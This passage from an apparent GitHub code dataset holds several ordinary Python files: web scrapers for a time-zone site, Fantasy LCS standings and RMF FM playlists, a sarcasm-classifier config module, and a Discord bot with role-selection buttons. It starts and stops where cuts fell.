'https://24timezones.com/time-zone/ist'\nwhile True:\n page = requests.get(url)\n data = page.text\n soup = BeautifulSoup(data, 'lxml')\n soup = str((soup.find(id = 'cityClock')))\n hours = re.search('<span class=\\\"hours\\\">(.+?)</span>',soup).group(1)\n minutes = re.search('<span class=\\\"minutes\\\">(.+?)</span>',soup).group(1)\n sec = re.search('<span class=\\\"seconds\\\">(.+?)</span>',soup).group(1)\n am_pm = re.search('<sup>(.+?)</sup',soup).group(1)\n print((\"{}:{}:{}{}\").format(hours,minutes,sec,am_pm))\n","repo_name":"AnishKumarAkGk/WebTimeFetching","sub_path":"webTime.py","file_name":"webTime.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8482014337","text":"from discord.ext import commands\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nimport config\n\noptions = []\noptions.append('--load-images=false')\n\nclass LOLFantasy:\n\n def __init__(self, bot):\n self.bot = bot\n self.html_source = ''\n self.header = ''\n self.team_names = []\n self.summoner_names = []\n self.total_points = []\n self.wins = []\n self.ties = []\n self.losses = []\n self.fantasy_ID = ''\n\n @commands.group(pass_context=True, description='Displays Fantasy LCS commands.')\n async def fantasy(self, ctx):\n if (ctx.invoked_subcommand is None):\n await self.bot.say('Incorrect subcommand passed.')\n\n @fantasy.group(name='teams', pass_context=True, description='Displays Fantasy LCS team names.')\n async def display_team_names(self, ctx, ID : str):\n self.fantasy_ID = ID\n self.driver = webdriver.PhantomJS(executable_path=config.directory, service_args=options)\n self.driver.get('http://fantasy.na.lolesports.com/en-US/league/' + self.fantasy_ID)\n self.driver.implicitly_wait(5)\n self.html_source = self.driver.page_source\n self.soup = BeautifulSoup(self.html_source, 'html.parser')\n self.driver.quit()\n\n await ctx.invoke(self.get_team_names)\n if not self.team_names:\n await self.bot.say('No teams found for Fantasy ID: ' + self.fantasy_ID)\n else:\n await self.bot.say('For Fantasy ID: ' + self.fantasy_ID + '\\n' + '\\n'.join(map(str,self.team_names)))\n\n @display_team_names.command(name='', hidden=True)\n async def get_team_names(self):\n team_names = []\n for head in self.soup.find_all('div', {'class': 'homepage-middle-right'}):\n for team in head.find_all('div', {'class': 'team-name'}):\n team_names.append(team.text)\n\n self.team_names = team_names\n\n @fantasy.group(name='summoners', pass_context=True, description='Displays summoner names associated in the Fantasy LCS league.')\n async def display_summoner_names(self, ctx, ID : str):\n self.fantasy_ID = ID\n self.driver = webdriver.PhantomJS(executable_path=config.directory, service_args=options)\n self.driver.get('http://fantasy.na.lolesports.com/en-US/league/' + self.fantasy_ID)\n self.driver.implicitly_wait(5)\n self.html_source = self.driver.page_source\n self.soup = BeautifulSoup(self.html_source, 'html.parser')\n self.driver.quit()\n\n await ctx.invoke(self.get_summoner_names)\n if not self.summoner_names:\n await self.bot.say('No players found for Fantasy ID: ' + self.fantasy_ID)\n else:\n await self.bot.say('For Fantasy ID: ' + self.fantasy_ID + '\\n' + '\\n'.join(map(str,self.summoner_names)))\n\n @display_summoner_names.command(name='', hidden=True)\n async def get_summoner_names(self):\n summoner_names = []\n\n for head in self.soup.find_all('div', {'class': 'standings-list'}):\n for summoner in head.find_all('div', {'class': 'summoner-name'}):\n summoner_names.append(summoner.text)\n\n self.summoner_names = summoner_names\n\n @fantasy.command(name='', hidden=True)\n async def get_wins(self):\n team_wins = []\n for head in self.soup.find_all('div', {'class': 'wins'}):\n for wins in head.find('div', {'class': 'value'}):\n team_wins.append(wins)\n\n self.wins = team_wins\n\n @fantasy.command(name='', hidden=True)\n async def get_ties(self):\n team_ties = []\n for head in self.soup.find_all('div', {'class': 'ties'}):\n for ties in head.find('div', {'class': 'value'}):\n team_ties.append(ties)\n\n self.ties = team_ties\n\n @fantasy.command(name='', hidden=True)\n async def get_losses(self):\n team_losses = []\n for head in self.soup.find_all('div', {'class': 'losses'}):\n for losses in head.find('div', {'class': 'value'}):\n team_losses.append(losses)\n\n self.losses = team_losses\n\n @fantasy.command(name='', hidden=True)\n async def get_total_points(self):\n whole_numbers = []\n fraction_numbers = []\n total_points = []\n for head in self.soup.find_all('div', {'class': 'total-points'}):\n num = ''\n for whole in head.find('span', {'class': 'whole-part'}):\n whole_numbers.append(whole)\n\n for fraction in head.find('span', {'class': 'fraction-part'}):\n fraction_numbers.append(fraction)\n for w, f in zip(whole_numbers, fraction_numbers):\n total_points.append(w+f)\n\n self.total_points = total_points\n\n @fantasy.command(name='', hidden=True)\n async def get_header(self):\n self.header = self.soup.title.string\n\n @fantasy.command(name='league', pass_context=True, description='Displays information related to the Fantasy LCS league.')\n async def display_league(self, ctx, ID : str):\n self.fantasy_ID = ID\n self.driver = webdriver.PhantomJS(executable_path=config.directory, service_args=options)\n self.driver.get('http://fantasy.na.lolesports.com/en-US/league/' + self.fantasy_ID)\n self.driver.implicitly_wait(10)\n self.html_source = self.driver.page_source\n self.soup = BeautifulSoup(self.html_source, 'html.parser')\n self.driver.quit()\n\n await ctx.invoke(self.get_header)\n await ctx.invoke(self.get_team_names)\n await ctx.invoke(self.get_summoner_names)\n await ctx.invoke(self.get_wins)\n await ctx.invoke(self.get_ties)\n await ctx.invoke(self.get_losses)\n await ctx.invoke(self.get_total_points)\n\n if not (self.header):\n await self.bot.say('Could not find the league name for Fantasy ID: ' + self.fantasy_ID)\n elif not (self.team_names):\n await self.bot.say('No teams found for Fantasy ID: ' + self.fantasy_ID)\n elif not (self.summoner_names):\n await self.bot.say('No summoners found for Fantasy ID: ' + self.fantasy_ID)\n elif not (self.wins):\n await self.bot.say('No wins found for Fantasy ID: ' + self.fantasy_ID)\n elif not (self.ties):\n await self.bot.say('No ties found for Fantasy ID: ' + self.fantasy_ID)\n elif not (self.losses):\n await self.bot.say('No losses found for Fantasy ID: ' + self.fantasy_ID)\n else:\n display = []\n rank = 1\n display.append(self.header)\n display.append('-----'*15)\n display.append('Rankings\\t\\t\\t Summoners')\n display.append('-----'*15)\n for (s, n, w, t, l, p) in zip(self.summoner_names, self.team_names, self.wins, self.ties, self.losses, self.total_points):\n display.append(str(rank) + '\\t\\t\\t\\t\\t\\t\\t' + s)\n display.append(' \\t\\t\\t\\t\\t\\t\\t' + n)\n display.append(' \\t\\t\\t\\t\\t\\t\\t' + w + 'W-' + t + 'T-' + l + 'L')\n display.append(' \\t\\t\\t\\t\\t\\t\\t' + str(p) + '\\n')\n rank += 1\n\n await self.bot.say('\\n'.join(map(str,display)))\n\ndef setup(bot):\n bot.add_cog(LOLFantasy(bot))\n","repo_name":"kodycode/Kodybot","sub_path":"modules/lolfantasy.py","file_name":"lolfantasy.py","file_ext":"py","file_size_in_byte":7336,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"2565464067","text":"import bs4\nimport requests\nimport concurrent.futures\nfrom .package_logging import logger\n\n\ndef get_rmf_top() -> list[tuple[str, str]]:\n \"\"\"\n Pobierz stronę rmf z notowaniem i wyszukaj na niej odpowiednie elementy, zwróc listę zwierającą tuple z artystą i tytułem\n \"\"\"\n\n logger.info(\"Getting songs from Rmf top list\")\n\n rmf_html = requests.get(\"https://www.rmf.fm/au/?a=poplista\")\n rmf_html.raise_for_status()\n\n rmf_soup = bs4.BeautifulSoup(rmf_html.content, \"html.parser\")\n\n rmf_songs_top = []\n\n rmf_songs = rmf_soup.select('.poplista-artist-title')\n\n for song in rmf_songs:\n if len(song.select('a')) < 1:\n continue\n artist = song.select('a')[0].get_text()\n title = song.get_text().replace(artist, '')\n\n if artist.find('feat.') != -1:\n artist = artist[:(artist.find('feat.')-1)]\n\n if artist.find('x') != -1 and artist[artist.find('x') - 1] == ' ':\n artist = artist[:(artist.find('x') - 1)]\n\n rmf_songs_top.append((artist, title))\n\n return rmf_songs_top\n\n\ndef _get_rmf_item_details(item_id: str) -> dict:\n \"\"\"\n Pobranie informacji z api rmf na temat piosenek o danym item_id\n \"\"\"\n\n query = f'https://live.rmf.fm/items.html?ids={item_id}'\n\n response = requests.get(query)\n\n return response.json()\n\n\ndef get_rmf_day() -> list[tuple[str, str]]:\n \"\"\"\n Pobierz informację o piosenkach granych w ciągu ostatniego dnia w RmfFm\n \"\"\"\n\n logger.info(\"Getting songs played yestarday in RmfFm radio\")\n\n response = requests.get('https://live.rmf.fm/items-list.html')\n response.raise_for_status()\n\n ids = []\n\n for item in response.json():\n if item['category'] == 'song':\n ids.append(item['ID'])\n\n rmf_songs_day = []\n\n with concurrent.futures.ThreadPoolExecutor() as executor:\n results = executor.map(_get_rmf_item_details, ids)\n\n for result in results:\n item_id = list(result.keys())[0]\n if len(result[item_id]['title'].split(' - ')) >= 3:\n artist = result[item_id]['title'].split(' - ')[0]\n title = result[item_id]['title'].split(' - ')[-1]\n else:\n artist, title = result[item_id]['title'].split(' - ')\n\n if artist.find('/') != -1:\n artist = artist[:(artist.find('/')-1)]\n\n rmf_songs_day.append((artist, title))\n\n return rmf_songs_day\n","repo_name":"henski-pl/radio_tops_spotify","sub_path":"radio_tops/collector_rmf.py","file_name":"collector_rmf.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20769721827","text":"# -*- coding:utf-8 -*-\n\nfrom os import makedirs, getcwd\nfrom os.path import exists\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom nltk.parse.stanford import StanfordParser\nfrom nltk.tokenize import word_tokenize\nfrom sklearn.metrics import f1_score, precision_score, recall_score, accuracy_score, classification_report, \\\n confusion_matrix\n\n\n\"\"\"-------------------------\"\"\"\n\"\"\"Situation classification for srl config\"\"\"\n\"\"\"preprocessing configures\"\"\"\nPATH_ROOT = getcwd()\nPATH_DATASET = PATH_ROOT + \"/data/\"\nPATH_PIC = PATH_ROOT + \"/pictures/\"\nPATH_TRANS_INPUT = PATH_DATASET + \"/input/\"\nif not exists(PATH_DATASET):\n makedirs(PATH_DATASET)\nif not exists(PATH_TRANS_INPUT):\n makedirs(PATH_TRANS_INPUT)\n\n\nclass TrainModelConfig:\n \"\"\"\n Transformers models(TRANS_MODEL_LIST):\n [\"bert-base-uncased\", \"bert-large-uncased\", \"roberta-base\", \"roberta-large\"]\n\n fine-tuning model(MODEL_LIST): ['v1', 'v2']\n v1: normal\n v2: lstm\n v3: dense(hidden_size)\n v4: bilstm x2 + dense\n\n TRAIN_OR_TEST:\n 0: train the models;\n 1: test the models\n \"\"\"\n TRANS_MODEL_LIST = [\"roberta-base\"]\n ROBERTA_LIST = [\"roberta-base\", \"roberta-large\"]\n BERT_LIST = [\"bert-base-uncased\", \"bert-large-uncased\"]\n MODEL_LIST = ['v4']\n TRAIN_OR_TEST = [0, 1]\n\n\n\"\"\"\npreprocessing sarcasm dataset from Twitter and Reddit\nPSD_VERSION:\nv1: context_length=2, join two context together;\nv2: context_length=3, join three context together;\nv3: unbalance dataset, context_length=2\nv4: merge train and test dataset\nv5: add rq annotations which are made by mturk workers; unbalanced dataset\nv6: balance dataset\nv7: v6 add response\nv8: v6 split response, last context, last2 context to each columns\n\"\"\"\nCONTEXT_LENGTH = 2\nPSD_VERSION = \"v8\"\nIS_BALANCE = 1\n\n\nclass PredictContext:\n \"\"\"\n predict result init\n version same as BertBaseUncaseV1\n \"\"\"\n PSD_VERSION = \"v8\"\n VER = 'v7'\n M_VER = 'v4'\n FOLD_NUM = 5\n MODEL_COUNT = 't1'\n MODEL_NAME = 'roberta-base'\n TRANS_PATH = PATH_TRANS_INPUT + MODEL_NAME\n VERSION = MODEL_NAME + '-' + PSD_VERSION + VER\n checkpoint_path = PATH_DATASET + MODEL_NAME + '-model/' + VERSION\n\n\nclass BertBaseUnCaseV1:\n \"\"\"\n training models\n v1v1: bert-base-uncase simple (TFBertModel;Flatten;Dropout0.2;Dense),\n v1v2: bert-base-uncase simple (TFBertModel;LSTM(100, dropout=0.2, recurrent_dropout=0.2);Dense),\n [x]v1v3: bert-base-uncase simple (TFBertModel;LSTM(100, dropout=0.2, recurrent_dropout=0.2)x2;Dense),\n v1v4: model same to v1v1, fix the bug of mistaking for attention mask and token type id.\n v1v5: model same to v1v2, fix the bug of mistaking for attention mask and token type id.\n v3v1-2: max_len=200, test for training response only\n v4v1-2: some test for new model; lr = 5e-5; N_CLASS = 3;\n v7: new lstm\n \"\"\"\n\n VER = 'v7'\n m_ver = ''\n FOLD_NUM = 5\n PATH = PATH_DATASET + 'sarcasm_merge_triple_{}.csv'.format(PSD_VERSION)\n\n N_CLASS = 3\n lr = 5e-5\n SEED = 1830126\n BATCH_SIZE = 32\n MAXLEN = 200\n EPOCHS = 12\n hidden_size = 768\n\n def __init__(self, model_type, ver):\n self.model_type = model_type\n self.ver = ver\n\n def model_init(self):\n model_name = self.model_type\n trans_path = PATH_TRANS_INPUT + model_name\n version = model_name + '-' + PSD_VERSION + self.ver\n\n if not exists(PATH_DATASET + model_name + '-model/'):\n makedirs(PATH_DATASET + model_name + '-model/')\n checkpoint_path = PATH_DATASET + model_name + '-model/' + version\n return model_name, trans_path, version, checkpoint_path\n\n # Set SHOW_MODE True if you want to show model summary\n SHOW_MODE = True\n if SHOW_MODE:\n SHOW_MODE_NUM = 1\n else:\n SHOW_MODE_NUM = 0\n # epsilon = 1e-08\n\n\ndef plot_confusion_matrix(cm, class_names, model_type, *args):\n \"\"\"\n Returns a matplotlib figure containing the plotted confusion matrix.\n\n Args:\n cm (array, shape = [n, n]): a confusion matrix of integer classes\n class_names (array, shape = [n]): String names of the integer classes\n \"\"\"\n plt.clf()\n plt.close('all')\n figure = plt.figure(figsize=(10, 10))\n plt.imshow(cm, interpolation='nearest', cmap=plt.cm.Blues)\n plt.title(\"Confusion matrix\")\n plt.colorbar()\n tick_marks = np.arange(len(class_names))\n plt.xticks(tick_marks, class_names, rotation=45)\n plt.yticks(tick_marks, class_names)\n\n # Compute the labels from the normalized confusion matrix.\n # labels = np.around(cm.astype('float') / cm.sum(axis=1)[:, np.newaxis], decimals=2)\n labels = cm\n\n # Use white text if squares are dark; otherwise black.\n threshold = cm.max() / 2.\n for i in range(cm.shape[0]):\n for j in range(cm.shape[1]):\n color = \"white\" if cm[i, j] > threshold else \"black\"\n plt.text(j, i, labels[i, j], horizontalalignment=\"center\", color=color)\n\n\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n plt.tight_layout()\n if args:\n figure.savefig('{}{}confusion_matrix_{}{}{}{}.png'.format(PATH_PIC, model_type, PSD_VERSION, BertBaseUnCaseV1.VER,\n BertBaseUnCaseV1.m_ver, args))\n else:\n figure.savefig('{}{}confusion_matrix_{}{}{}.png'.format(PATH_PIC, model_type, PSD_VERSION, BertBaseUnCaseV1.VER,\n BertBaseUnCaseV1.m_ver))\n # return figure\n\n\n# def plot_heatmap(cm, class_names, *args):\n# if args:\n# sns.heatmap(cm)\n\n\ndef model_predict_scores(model, nd_test_x, nd_true_y):\n result = model.predict(nd_test_x, verbose=1)\n\n nd_pre_y = result.argmax(axis=1)\n # # accuracy: (tp + tn) / (p + n)\n # accuracy = accuracy_score(nd_true_y, nd_pre_y)\n # # precision tp / (tp + fp)\n # precision = precision_score(nd_true_y, nd_pre_y, pos_label=1)\n # # recall: tp / (tp + fn)\n # recall = recall_score(nd_true_y, nd_pre_y, pos_label=1)\n # # f1: 2 tp / (2 tp + fp + fn)\n # f1 = f1_score(nd_true_y, nd_pre_y)\n\n # print('accuracy: {0:.2f} Precision: {1:.2f} Recall: {2:.2f} F1: {3:.2f}'.format(accuracy, precision, recall, f1))\n print(classification_report(nd_true_y, nd_pre_y))\n return 0\n\n\ndef model_predict_scores_for_triple(model, nd_test_x, nd_true_y, test_count):\n result = model.predict(nd_test_x, verbose=1)\n nd_pre_y = result.argmax(axis=1)\n print(classification_report(nd_true_y, nd_pre_y))\n confusion = confusion_matrix(nd_true_y, nd_pre_y)\n plot_confusion_matrix(confusion, ['Literal', 'RQ', 'Sarcasm'], test_count)\n\n\ndef score_direct_for_triple(nd_test_y, nd_true_y, model_type):\n print(classification_report(nd_true_y, nd_test_y))\n confusion = confusion_matrix(nd_true_y, nd_test_y)\n plot_confusion_matrix(confusion, ['Literal', 'RQ', 'Sarcasm'], model_type)\n","repo_name":"sun510001/RQ_Chatbot","sub_path":"Situation_Classification_for_SRL/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6873,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"34403978583","text":"\r\nimport discord\r\nfrom discord import app_commands\r\nfrom discord.ext import commands\r\nimport random\r\nimport logging\r\nimport time\r\nimport requests\r\nimport generator as g\r\nimport os\r\n\r\n\r\n\r\n\r\n\r\n\r\nintents = discord.Intents.default()\r\nintents.message_content = True\r\nintents.members = True\r\n\r\n\r\n\r\nRaiden = commands.Bot(command_prefix=\">\", intents=discord.Intents.all())\r\n\r\nhandler = logging.FileHandler(filename='discord.log', encoding='utf-8', mode='w')\r\n\r\nRaiden.remove_command(\"help\")\r\n\r\n# discord.Intents.all()\r\n\r\n\r\n\r\n\r\n\r\n\r\n#_____________________________________________________________________________________________________\r\n# An event for showing that the raiden is ready to go \r\n@Raiden.event\r\nasync def on_ready():\r\n print(f\"{Raiden.user} Has succussfully logged in.\")\r\n await Raiden.change_presence(status= discord.Status.idle, activity= discord.Game('With Peoples'), )\r\n \r\n \r\n print(\"--------------------------------------------------------------------------------\")\r\n s = await Raiden.tree.sync()\r\n Raiden.add_view(Roles())\r\n print(s)\r\n\r\nclass Roles(discord.ui.View):\r\n def __init__(self):\r\n super().__init__(timeout = None)\r\n @discord.ui.button(label = \"📢\", custom_id = \"Announcement\", style = discord.ButtonStyle.secondary)\r\n async def button1(self, interaction, button):\r\n role = 1129944467349184523 #put your role id here\r\n user = interaction.user\r\n if role in [y.id for y in user.roles]:\r\n await user.remove_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have removed a role!\", ephemeral = True)\r\n else:\r\n await user.add_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have added a role!\", ephemeral = True)\r\n\r\n \r\n @discord.ui.button(label = \"♂️\", custom_id = \"Male\", style = discord.ButtonStyle.secondary)\r\n async def button2(self, interaction, button):\r\n role = 1130613893463543809 #put your role id here\r\n user = interaction.user \r\n if role in [y.id for y in user.roles]:\r\n await user.remove_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have removed a role!\", ephemeral = True)\r\n else:\r\n await user.add_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have added a role!\", ephemeral = True)\r\n \r\n \r\n @discord.ui.button(label = \"♀️\", custom_id = \"Female\", style = discord.ButtonStyle.secondary)\r\n async def button3(self, interaction, button):\r\n role = 1130613987134939136 #put your role id here\r\n user = interaction.user\r\n if role in [y.id for y in user.roles]:\r\n await user.remove_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have removed a role!\", ephemeral = True)\r\n else:\r\n await user.add_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have added a role!\", ephemeral = True)\r\n\r\n\r\n @discord.ui.button(label = \"⚧️\", custom_id = \"Others\", style = discord.ButtonStyle.secondary)\r\n async def button4(self, interaction, button):\r\n role = 1130614079426416773 #put your role id here\r\n user = interaction.user\r\n if role in [y.id for y in user.roles]:\r\n await user.remove_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have removed a role!\", ephemeral = True)\r\n else:\r\n await user.add_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have added a role!\", ephemeral = True)\r\n\r\n\r\n @discord.ui.button(label = \"🧠\", custom_id = \"brainstormers~\", style = discord.ButtonStyle.secondary)\r\n async def button5(self, interaction, button):\r\n role = 1130614206408962058 #put your role id here\r\n user = interaction.user\r\n if role in [y.id for y in user.roles]:\r\n await user.remove_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have removed a role!\", ephemeral = True)\r\n else:\r\n await user.add_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have added a role!\", ephemeral = True)\r\n\r\n\r\n @discord.ui.button(label = \"🎵\", custom_id = \"Music~\", style = discord.ButtonStyle.secondary)\r\n async def button6(self, interaction, button):\r\n role = 1130749504245747774 #put your role id here\r\n user = interaction.user\r\n if role in [y.id for y in user.roles]:\r\n await user.remove_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have removed a role!\", ephemeral = True)\r\n else:\r\n await user.add_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have added a role!\", ephemeral = True) \r\n \r\n\r\n\r\n @discord.ui.button(label = \"❌\", custom_id = \"14-18\", style = discord.ButtonStyle.secondary)\r\n async def button7(self, interaction, button):\r\n role = 1130746241198850131 #put your role id here\r\n user = interaction.user\r\n if role in [y.id for y in user.roles]:\r\n await user.remove_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have removed a role!\", ephemeral = True)\r\n else:\r\n await user.add_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have added a role!\", ephemeral = True) \r\n\r\n\r\n @discord.ui.button(label = \"✅\", custom_id = \"18+\", style = discord.ButtonStyle.secondary)\r\n async def button8(self, interaction, button):\r\n role = 1130746378692341792 #put your role id here\r\n user = interaction.user\r\n if role in [y.id for y in user.roles]:\r\n await user.remove_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have removed a role!\", ephemeral = True)\r\n else:\r\n await user.add_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have added a role!\", ephemeral = True)\r\n\r\n\r\n @discord.ui.button(label = \"💀\", custom_id = \"25-30\", style = discord.ButtonStyle.secondary)\r\n async def button9(self, interaction, button):\r\n role = 1130746480660062309 #put your role id here\r\n user = interaction.user\r\n if role in [y.id for y in user.roles]:\r\n await user.remove_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have removed a role!\", ephemeral = True)\r\n else:\r\n await user.add_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have added a role!\", ephemeral = True)\r\n\r\n\r\n\r\n @discord.ui.button(label = \"👀\", custom_id = \"30+\", style = discord.ButtonStyle.secondary)\r\n async def button10(self, interaction, button):\r\n role = 1130749389497970800 #put your role id here\r\n user = interaction.user\r\n if role in [y.id for y in user.roles]:\r\n await user.remove_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have removed a role!\", ephemeral = True)\r\n else:\r\n await user.add_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have added a role!\", ephemeral = True)\r\n\r\n\r\n @discord.ui.button(label = \"😘\", custom_id = \"Bump\", style = discord.ButtonStyle.secondary)\r\n async def button11(self, interaction, button):\r\n role = 1131362847625056256 #put your role id here\r\n user = interaction.user\r\n if role in [y.id for y in user.roles]:\r\n await user.remove_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have removed a role!\", ephemeral = True)\r\n else:\r\n await user.add_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have added a role!\", ephemeral = True)\r\n\r\n\r\n @discord.ui.button(label = \"🫠\", custom_id = \"Weird_Talkers\", style = discord.ButtonStyle.secondary)\r\n async def button12(self, interaction, button):\r\n role = 1131363802684866650 #put your role id here\r\n user = interaction.user\r\n if role in [y.id for y in user.roles]:\r\n await user.remove_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have removed a role!\", ephemeral = True)\r\n else:\r\n await user.add_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have added a role!\", ephemeral = True) \r\n\r\n\r\n @discord.ui.button(label = \"🎉\", custom_id = \"Welcomers\", style = discord.ButtonStyle.secondary)\r\n async def button13(self, interaction, button):\r\n role = 1131948684230283406 #put your role id here\r\n user = interaction.user\r\n if role in [y.id for y in user.roles]:\r\n await user.remove_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have removed a role!\", ephemeral = True)\r\n else:\r\n await user.add_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have added a role!\", ephemeral = True)\r\n\r\n\r\n @discord.ui.button(label = \"🙈\", custom_id = \"Selfie\", style = discord.ButtonStyle.secondary)\r\n async def button14(self, interaction, button):\r\n role = 1131955006673780808 #put your role id here\r\n user = interaction.user\r\n if role in [y.id for y in user.roles]:\r\n await user.remove_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have removed a role!\", ephemeral = True)\r\n else:\r\n await user.add_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have added a role!\", ephemeral = True)\r\n\r\n\r\n @discord.ui.button(label = \"😎\", custom_id = \"Movie/Anime\", style = discord.ButtonStyle.secondary)\r\n async def button15(self, interaction, button):\r\n role = 1132007404817633281 #put your role id here\r\n user = interaction.user\r\n if role in [y.id for y in user.roles]:\r\n await user.remove_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have removed a role!\", ephemeral = True)\r\n else:\r\n await user.add_roles(user.guild.get_role(role))\r\n await interaction.response.send_message(\"You have added a role!\", ephemeral = True) \r\n\r\n\r\n@Raiden.command()\r\nasync def roles(ctx):\r\n embed = discord.Embed(title = to_upper(\"Role Selection Form\"), description = \"1: 𝙋𝙧𝙚𝙨𝙨 📢 𝙩𝙤 𝙖𝙙𝙙 𝙖𝙣𝙣𝙤𝙪𝙣𝙘𝙚𝙢𝙚𝙣𝙩 𝙧𝙤𝙡𝙚.\\n\\n2: 𝙋𝙧𝙚𝙨𝙨 ♂️ 𝙞𝙛 𝙮𝙤𝙪 𝙖𝙧𝙚 𝙢𝙖𝙡𝙚 ( ͠❛ ͜ʖ ͠❛ ) \\n\\n3: 𝙋𝙧𝙚𝙨𝙨 ♀️ 𝙞𝙛 𝙮𝙤𝙪 𝙖𝙧𝙚 𝙛𝙚𝙢𝙖𝙡𝙚 ( ͠❛ ͜ʖ ͠❛ )\\n\\n4: 𝙋𝙧𝙚𝙨𝙨 ⚧️ 𝙁𝙤𝙧 𝙤𝙩𝙝𝙚𝙧𝙨.\\n\\n5: 𝙋𝙧𝙚𝙨𝙨🧠 𝙄𝙛 𝙮𝙤𝙪 𝙖𝙧𝙚 𝙞𝙣𝙩𝙚𝙡𝙡𝙞𝙜𝙚𝙣𝙩.\\n\\n6:𝙋𝙧𝙚𝙨𝙨 🎵 𝙏𝙤 𝙨𝙝𝙖𝙧𝙚 𝙮𝙤𝙪𝙧 𝙢𝙪𝙨𝙞𝙘.\\n\\n7:𝙋𝙧𝙚𝙨𝙨 ❌ 𝙞𝙛 𝙮𝙤𝙪 𝙖𝙧𝙚 𝙪𝙣𝙙𝙚𝙧 14-18\\n\\n8:𝙋𝙧𝙚𝙨𝙨 ✅ 𝙞𝙛 𝙮𝙤𝙪 𝙖𝙧𝙚 18+\\n\\n9:𝙋𝙧𝙚𝙨𝙨 💀 𝙞𝙛 𝙮𝙤𝙪 𝙖𝙧𝙚 𝙪𝙣𝙙𝙚𝙧 25-30\\n\\n10:𝙋𝙧𝙚𝙨𝙨 👀 𝙞𝙛 𝙮𝙤𝙪 𝙖𝙧𝙚 30+\\n\\n11:𝙋𝙧𝙚𝙨𝙨 😘 𝙩𝙤 𝙜𝙚𝙩 𝙗𝙪𝙢𝙥 𝙨𝙚𝙧𝙫𝙚𝙧.\\n\\n12:𝙋𝙧𝙚𝙨𝙨🫠𝙩𝙤 𝙜𝙚𝙩 𝙒𝙚𝙞𝙧𝙙 𝙩𝙖𝙡𝙠𝙚𝙧𝙨 𝙧𝙤𝙡𝙚 𝙛𝙤𝙧 𝙩𝙝𝙚 𝙬𝙚𝙞𝙧𝙙 𝙘𝙝𝙖𝙩.\\n\\n13:𝙋𝙧𝙚𝙨𝙨 ≧◠‿◠≦🎉 𝙛𝙤𝙧 𝙬𝙚𝙡𝙘𝙤𝙢𝙚𝙧𝙨 𝙧𝙤𝙡𝙚\\n\\n14:𝙋𝙧𝙚𝙨𝙨 🙈 𝙞𝙛 𝙮𝙤𝙪 𝙬𝙖𝙣𝙣𝙖 𝙨𝙝𝙖𝙧𝙚 𝙨𝙚𝙡𝙛𝙞𝙚𝙨.\\n\\n15:𝙋𝙧𝙚𝙨𝙨 😎 𝙩𝙤 𝙜𝙚𝙩 𝙚𝙣𝙩𝙚𝙧𝙩𝙖𝙞𝙣𝙢𝙚𝙣𝙩 𝙧𝙤𝙡𝙚\")\r\n await ctx.send(embed = embed, view = Roles())\r\n\r\n\r\ndef to_upper(argument):\r\n return argument.upper()\r\n\r\n\r\n\r\n#_____________________________________________________________________________________________________\r\ndef questions():\r\n with open('question.txt', 'r', encoding='utf8') as f:\r\n question = f.readlines()\r\n\r\n return random.choice(question)\r\n\r\n\r\n#_____________________________________________________________________________________________________\r\n\r\n#_____________________________________________________________________________________________________\r\n# Event to mention the user who joining the server\r\n@Raiden.event\r\nasync def on_member_join(member: discord.Member):\r\n welcome_channel_id = Raiden.get_channel(1126089252409720972) #put the channel id where u want the to show the welcome Embed\r\n general_chat_id = Raiden.get_channel(1121115370854547459) #put the channel id of genral chat\r\n rules_id = Raiden.get_channel(1127493094149996594) #put the channel id of rules\r\n avatar = member.avatar\r\n # rules = Raiden.get_channel(1127493094149996594)\r\n \r\n \r\n em = discord.Embed(title=to_upper(\"> Welcome\"), description=f\"𝙃𝙚𝙮! {member.mention}, 𝙬𝙚𝙡𝙘𝙤𝙢𝙚 𝙩𝙤 𝙩𝙝𝙚 𝙨𝙚𝙧𝙫𝙚𝙧.\\n𝙏𝙝𝙖𝙣𝙠𝙨 𝙛𝙤𝙧 𝙟𝙤𝙞𝙣𝙞𝙣𝙜 𝙩𝙝𝙚 𝙨𝙚𝙧𝙫𝙚𝙧 